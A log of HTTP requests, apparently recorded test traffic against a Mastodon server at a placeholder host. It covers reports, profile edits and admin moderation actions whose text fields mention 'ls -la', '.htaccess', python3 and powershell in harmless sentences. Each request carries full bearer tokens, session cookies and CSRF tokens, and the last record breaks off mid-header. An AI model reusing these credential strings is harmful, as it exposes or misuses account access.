{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 45", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Q0W3UzYCclJMxooigAQ1Ogxqhygj0cU1B55S-X0Mc3nt83EUW9845v2qeHgRMfLWi09o-YQSeR4ATnAy4QtBkw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MzkuMzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--dea80b4af1e12f57030bae46eb78f197314cd5d1; _mastodon_session=LpSTuQUFbXringpNg0Yhjt0jNhGqECl43SvetnXjkjKzrpH4HpJSHHhgy%2BjfgKRF%2B%2FlEZsxSTvd2gbg9FVppVkLSUdUVP7%2FC5bix%2FebFwVo42hEQpEq5D0%2BlaZaaR7n8jORXjRTwyRUMEk1u%2BRWBI0BCT20Q00HP%2FMLtjOBIAR6FleI0Yiyo3EoCjfJswTADfkyju3GvIdrihGFUyVUKDlqA2K2tH%2FJn%2BM10piBWdllpChX6CkPvoNRe7My6FAjeAgvEhYhbqfj9%2F24zzblHdVKkP8kLjbOIS2y%2Bbyd4RIIjqOEoZu6CPUhciDp5EBiR1x4XOHkYWolzP634b1hCc5LPkEPetO10XBhPAo6oYygoEJrl8xlwFnl%2BPsLhKVn%2FrIe3meoq3ZAX--1ZcqZOh3vKoYOWKz--Zi0sY%2FcyVxR371oJkFnePQ%3D%3D"], "body": "{\"comment\":\"ls -la shows the .htaccess file\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 275A73Lk4LJJeS7bh0WGgbuhlAZAKS-SSRMtwokla911CIaoHzmqBvgV3IEWcEFtPIR71-fqk7lOww8JFSJZNw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6NDguOTMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--72e68eb7a2617104fbea4981c9979cd76732c3d3; _mastodon_session=Ic%2BkjKoSTxUA5fIt439hMLfBevHqqFuwatrwN9lmrj1BnIekxESYP5bxc6zKF4mL8I1fwTk2QxRPFm1CVvfxNxQIOQIEWLH%2BYvos4gQzL%2FePyC3kwuSKRTGI9wBCuiEsIyGGRqClv9NkkGJC5AbJmOd60KZUtVrRcfmPcN6qzrZBPb2KiveQJW9NsvoSojPxsUjLFGWtYuKBEURUHHHqa9Cy3RkpQL8dfJ1V2sUl43eYrRT9hCAHEpGl5LfvuSYe0tfR9iIE1wVErROBWDejN2Y%2BbuKtZtJPiI5cKYuegYnXahql%2FUrSj9SmCqXgsIrlp4WsjcaYO4fQIR5pzAAGtD%2FH5KE96uoDYwXwK8SQbo0D%2Byn1TzIp8ZqvWO9NWDv5Jj8BGXgO0nhD--cWePZPKZv7fdCsxv--SUK2ofhv97JsULvnXyDd6g%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"python3 and powershell scripts that edit .htaccess\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 167", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: cCZYMk7iDpaFtzXcTGWQd-_4BLRa0ROooXWty2YixXnekJ51Iz9EIjTbx4bdUFebaN3rZf0Sr4OmpY8A-iX3kw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MDAuMDIwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--879f36b839912f24c82adea8c7d08101060660de; _mastodon_session=usCuCTufLcJ%2Bs67xaGkrTFVAOkYQrkjR3B%2BLma2Mi8FSUemPzcrBQCKG5OfGXYCbD9jsXlCjNpKb96EEgOMBC9r4w5A%2Fv6qG%2BT9euFxwEII1pWlgb%2FMh9fhKq4R22v0u4DvTv1ZvrogrXKitVwuyXhY46PKz%2BhCyfuWWuqONAXuPG%2F6FZVlojc%2F6lV6LyFaTA1IONytuiLKQwDnBXm4wps5jc9%2B9HvUdWlYvoe6upCdKrOut1CYHOrTvmFHeeDfyqNCh6gofDUUjaJg2UHl4AfwxDZWDdSc24THFs1dX9m3qD2iq2pDJluiHlrdytjrFQ3il%2FcGcuQ5AuMncS7xN%2B5Vpqr3kY14ZBR%2BT1zjuaGTVRg00L5%2FVCfjebvfG0qN11cpOQ6U8XGXo--d%2BTV%2F6S90fWJ%2FiEc--kT2nBPBmIauEk706faYvIg%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"ls -la shows the .htaccess file\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 182", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: NS4mJozBhgwGiOnauvvlh1MOcXRoRzqm1Rbsqy1cogdPui41Xce0gkX6PHn2TNNblADPQ-Qr-nyvCXv6EXLgcg", "Authorization: Bearer Wqvvk2G9vzWy-EFC3yd1q18PX6dd4tlBqXUW49355xk", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob@remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqUTVPVGcyWmpNeE1HRTRZbUppWmpBNVptWmxPREJtWWpOak5XTXpOakUwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDQ6MTc6NDEuMzAxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6928064bccde57356bbafe881a7f9fa79375c676; _mastodon_session=A04wdDjjZex1xPOJLeLxjFXxD0cxov9AbH3wgjbJLeNsLawcjWK4s3F2OgR0bOLDKJVoPi5OjfPXy3iyW9GT0x%2FXs0VDrGybzFJ1ExCnGwty5D3OsSNZ72qIp2xO8a8ZnfTksV85VbZUPC2Qh7EAGcD2u7S6XjRYr7mwLS9xi6rxRHIxBYwTUXHnFYvpueiZhHde9RH8wp3iOTZFp5WrZHAcX6u4%2FpW2UxmPH8F4535M%2FzOZflTurQf6O%2Bjo5FHItmjYp9AbytsO2Wfk4L2ZBL2ajoHJRb%2Fa6OISisN%2BlaZaTaKlUHZ1sNpD%2B1BBZRwARfvtmSuNzoCvshUnZcTOpY%2BX87p%2Bj%2BhFThEIP2%2FBtsOTJ9TfNTh6WwxIDPfr7v6OunCbXcXQ8tKM--PD%2F2fY1YAsaSYrjc--y6q8zvscHV1Zfmvb7Xhq0w%3D%3D"], "body": "{\"account_id\":\"117590200831999305\",\"status_ids\":[],\"forward_to_domains\":[\"remote.example\"],\"comment\":\"Sends the same link to everyone\",\"forward\":true,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 50", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=PpO3riJn0wrhzXdm0n9sD3WrcWOLBOqU2Uw1NYfXGp%2F%2F6DB5kC3tVwXkNcOpokF7iybZfrq%2BPSzSWohyKC2tw1TvBVJ%2Fz3wy9MgS%2BDm819NxHZTgIA%2F8zSQYZ8aqbeOGJOvzQeupysJRu%2BsfaRldkXIA7ZMtJF2fsDrmGADVz%2ByI0Jwnp9SPT67LyKAwYuzZ81%2F%2BMOHFXfs3YpFt%2Bn%2FB2PMrD3zfD%2FQAdfzup3zO46tdeXpux3yhS%2FhAWLTMI1FaGUrakvRWO5GkQKAcCBRaCArfotffjBY9TRJ0birKb%2BD%2BcJ9ZuoJNBdkivnw32MQYjzENZTl3Yg9jYb0xDDTpz9mmfILCqxtCIx2Le1HQ1QWzoagiNry5rNAWOtSeZrLoTZbFNr6fqP5L--Jg1q%2B36dKbXHumxo--q5U9LM%2FezBlMMh4Nzs%2BgiA%3D%3D"], "body": "{\"display_name\":\"ls -la shows the .htaccess file\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 61", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=QHqOTIV3gJO1hKRsR1ikIZvF2Dx%2F4%2B8yeatocM9k9tt%2BtysDvdNJSaaJtUwtTpHc2KDb%2B8xoQn71tiJLjulcFjx5w%2B7lT2UVBt9%2FBMHIhhHJIyuLxzVAgAH0UbtrE2PUslkhVimXolivaM3OwtfUwOfFHoQ486mNwWDSt%2BEixCZB7%2Fe%2B4fjf65P0J1MMCe2Vi%2FGghCaXSQ8jtIEbDPThK1cvAIgvX%2F7FFNZ%2FkOthRHgwtPhC%2BGsUZ0vYNpwgN7V7DUteJYvLCzPzqcMP5%2BLJmG5oguySusTCUO3MQBFthwuvmTXUCXxilitHQDkSaQDxH376CZizYCd0xz6SCv8y4JxmfCH8TUrLoQLnekvZex0wSCZdkWi8MK9DmpxNqgOWUiwgqNCX13i%2B--n01RHiqXzIJJ4QG2--EzrkYhOWQPnW7s54eqenTQ%3D%3D"], "body": "{\"note\":\"python3 and powershell scripts that edit .htaccess\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 42", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=wsWeqOBCkdm6W7BgxUIUXmZL53WQcRiYD5qxpQMGdQn7ffgUr2pyA1JK2IuWlU8ZsgQgOU%2BA5fl8%2FP4KqCWrjZenXo4NUr4Og3cG6bNHv8iJnqr5oruzqqamRueD%2BuN11cx6%2FHjKQrx%2Bs3%2FBMDd8RRglGQjWtFTnOXrQYIR9yOGjcwNWCtyYCGAcUx4kcAwBFHkKpO2fGMTjxepgjLFaTZSc8Fhpz4eFjS9on9fbS5cek6p80PrN27n0vMQYPmZOo0agDymWrcJyl5moy7jg1wTAMFZw%2BtBbhEU6weVmmB6ccXFmN1IyQe1qzB4siaG%2Fn4AAeJYinJ7hQDA5EXgbc3KDOIYJGj%2Fa2FGPoxN6QcQ%2BdlSBBWGGALIZF2vN3483YZgDLuR9NbKV--W5T0%2FWskJnen5Dkc--l%2F1T24Age7%2F9fgc72I1rjA%3D%3D"], "body": "{\"note\":\"ls -la shows the .htaccess file\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 235", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=ZoK9h%2FxgaOurQH0npEckZgHexCYp04bxjsIrqpx0vVrbjvoJuFjymzoBksuvZq8SaCkBfSgW%2F5tGx08zhLtUH2Hb2vdBNj%2Fx6FNZ942EhDpL3NmBHuvtWMXO23wFTmdobalBUJ%2F4ll7NrKsn%2FgnsIsOIOoggUUC9AMXU2sOdA8RcT4ACjyTV%2BTPsoFTXq7DjztGRPXltBaHPmww0EFkin%2FTK%2BqO0AFgCgKqOSzzJmsXVW%2FllrgW%2BPATiNVtcrNlSgm8S9BwiPLiVHLTnQ7BONJUSMFNr%2BKse1o1QEzwdlBtpT9NeAniBC8lGmaBJ6CJo7NwWOeGVPIumT5wllY6G0DHynnCXfJEVT5vRokHYDs%2FSwRB8XOcckA%2BfislK6ga4Zl%2FwPEerd44n--n9bWadmH5ICLzs9P--gmVZyT37Dif%2BUrSoixAvGA%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"},{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"}]}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 339", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=hw6nfkWmCq0K%2F44I%2F4jhJA0D7vKlSjTK4m9yqegVWr1OsoFhOsu7uTaIoMz%2FPCPn50Y2zIvZ47OvubuqY8mdJXnmOsviKpsuVoOMoTZfbbsvna4E2dgsqQBi8ggltMaksn5nuH%2BmJUT%2F1II5j2qcFnO98eCaFGjSZz7ldLwpdr%2B5yGTtquUirrXHLKr1ygy%2BIYxWkEkwZn60VjJ6eLhEXGhoXHomYRKxNw3Vx1gA1LWBw6r84JTfFuIUInIlH3Bt8Kz805P1xZ23p34KmfxCV5g0lyEYA0N9IxU9ddlslhNNNY54KcaIp1O2msMcPvh8F1JOJCru%2FVNJJ3I3yqjm5gslwbE74qVKm6vsOkBexL%2FNISvNVKtLPqo%2Bz4heoXe%2BODYy2BUfpVho--LwXV%2FcVsWbLkBTy3--4Oxw3HOwITwJ1nWTdKGjaw%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"},{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"},{\"name\":\"python3 and powershell scripts that edit .htaccess\",\"value\":\"ls -la shows the .htaccess file\"}]}"}
|
||||||
|
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 449", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MDguOTYxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b3b19a00352f24977f6020ab9a3d6c383ffa3ac7; _mastodon_session=mP7fiQyDKoV6lJ%2BWezz3yVhrquplnsAUk6UVtpRcwznoIRg5gTCCpybCimnYifSv0YE8kccsZ1GrKNsA2q%2Bl801pNb4XiGxO5MYLBqAR085qM%2B3daWp4taG6kt87s1sMFhHYglcGxyK2qHN7ij4EOZi0%2BEFbdFTOfAHPn%2BxZnBa%2BbAslC4OJ3cL9JThjQBRA7GrPdPcT%2FlZVwvnejGk9EhYcX0t64M4%2BXJh5tWffCGK4oN%2FsqXU11qs6BT%2FxpcHMmv6m3RHm%2F%2FD%2FGKVlvBjSW%2FOmonjCmhBaajL3IzrD41oIk21%2F2oIa7CIlF%2BOfFcOIlWX92MVxp5uzDVx4YvxE3Di1pG6R6Vgv6QxRNFcuUS9oRJeczQHPyD%2FUnR0VD2EedIgqMvsY8%2F9X--VfImL1OEW0wP%2BCiI--64yPeaLF5m%2BS%2BiRi7IRaog%3D%3D"], "body": "authenticity_token=jpaDeCR9iWwzuxPg1JgseB8Y47v1qHPkVdGFovefz7smHg_TBpCr0uf5bscQQaY9d-1KgPUa4FjmySI95Fs4EA&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Bwarning_preset_id%5D=&admin_account_action%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 218", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDg6MTcuNzA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7d71870fb60c9e5abfad99a480effe1ab5e8aef8; _mastodon_session=CBCujKgzjcSEVJW0F9kw%2BOLoA0mbrQk9fmJZvoh39xY7k9aWN2BJ%2Bkh3O5BEhIeoZpC2ENoFL6CiIxhM7Jc%2B%2F4xopNZoW245YsTSLEeJFsiUqjmkHMQoudZgV2Xrpcb9P3kiIdAEFrRA2G%2F3LsGeyaHJwve%2BdWAxGDLelPGZVbP88A1nAYNCemZOYVF1SnwXL%2FeTV%2FhwAPu0PkZm6xJRrHVrt5A%2BwE%2BMNb6A4pLHucUYkegl%2BM7ryv354NvD3rfV5cPzXur488DDipXNRoKP%2BzI22Sghk%2FnRm73bhI%2BfMLdfzC32mhoZBbSJ9Mb0UAk2L6d%2FAiGO4phvRnDKDg7iRvF701ovnkq4MAI9xzHGCcO%2B46fd%2FlKQOHy2pY7OV9rQGRISEQip5QtM--zxe96wyhYxlpDb10--O46IGRShqqt3BWz5kNJHJw%3D%3D"], "body": "authenticity_token=iHeUgrJk-gy8zqDm8157aBB9Je8M9Ih3w0QL0zE9g_EiV538l6J8eAQk3Pt8EVYtlaCJLG1YEAcYNy5lOzcKCw&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: 